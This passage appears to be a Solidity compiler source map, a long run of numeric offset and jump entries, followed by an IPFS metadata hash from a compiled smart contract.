3;4663:422;;;;;:::o;5090:806::-;5139:5;5169:8;5159:80;;-1:-1:-1;5210:1:1;5224:5;;5159:80;5258:4;5248:76;;-1:-1:-1;5295:1:1;5309:5;;5248:76;5340:4;5358:1;5353:59;;;;5426:1;5421:130;;;;5333:218;;5353:59;5383:1;5374:10;;5397:5;;;5421:130;5458:3;5448:8;5445:17;5442:43;;;5465:18;;:::i;:::-;-1:-1:-1;;5521:1:1;5507:16;;5536:5;;5333:218;;5635:2;5625:8;5622:16;5616:3;5610:4;5607:13;5603:36;5597:2;5587:8;5584:16;5579:2;5573:4;5570:12;5566:35;5563:77;5560:159;;;-1:-1:-1;5672:19:1;;;5704:5;;5560:159;5751:34;5776:8;5770:4;5751:34;:::i;:::-;5821:6;5817:1;5813:6;5809:19;5800:7;5797:32;5794:58;;;5832:18;;:::i;:::-;5870:20;;5090:806;-1:-1:-1;;;5090:806:1:o;5901:140::-;5959:5;5988:47;6029:4;6019:8;6015:19;6009:4;5988:47;:::i;6046:168::-;6119:9;;;6150;;6167:15;;;6161:22;;6147:37;6137:71;;6188:18;;:::i;6219:356::-;6421:2;6403:21;;;6440:18;;;6433:30;6499:34;6494:2;6479:18;;6472:62;6566:2;6551:18;;6219:356::o;6580:127::-;6641:10;6636:3;6632:20;6629:1;6622:31;6672:4;6669:1;6662:15;6696:4;6693:1;6686:15;6712:135;6751:3;6772:17;;;6769:43;;6792:18;;:::i;:::-;-1:-1:-1;6839:1:1;6828:13;;6712:135::o;9586:125::-;9651:9;;;9672:10;;;9669:36;;;9685:18;;:::i;10380:184::-;10450:6;10503:2;10491:9;10482:7;10478:23;10474:32;10471:52;;;10519:1;10516;10509:12;10471:52;-1:-1:-1;10542:16:1;;10380:184;-1:-1:-1;10380:184:1:o;10569:128::-;10636:9;;;10657:11;;;10654:37;;;10671:18;;:::i;10702:217::-;10742:1;10768;10758:132;;10812:10;10807:3;10803:20;10800:1;10793:31;10847:4;10844:1;10837:15;10875:4;10872:1;10865:15;10758:132;-1:-1:-1;10904:9:1;;10702:217::o;11326:251::-;11396:6;11449:2;11437:9;11428:7;11424:23;11420:32;11417:52;;;11465:1;11462;11455:12;11417:52;11497:9;11491:16;11516:31;11541:5;11516:31;:::i;11582:980::-;11844:4;11892:3;11881:9;11877:19;11923:6;11912:9;11905:25;11949:2;11987:6;11982:2;11971:9;11967:18;11960:34;12030:3;12025:2;12014:9;12010:18;12003:31;12054:6;12089;12083:13;12120:6;12112;12105:22;12158:3;12147:9;12143:19;12136:26;;12197:2;12189:6;12185:15;12171:29;;12218:1;12228:195;12242:6;12239:1;12236:13;12228:195;;;12307:13;;-1:-1:-1;;;;;12303:39:1;12291:52;;12398:15;;;;12363:12;;;;12339:1;12257:9;12228:195;;;-1:-1:-1;;;;;;;12479:32:1;;;;12474:2;12459:18;;12452:60;-1:-1:-1;;;12543:3:1;12528:19;12521:35;12440:3;11582:980;-1:-1:-1;;;11582:980:1:o

ipfs://6dbfaa862491693d5303e8b5d47b49443163dfd4df2f50345a480b7ba56b373a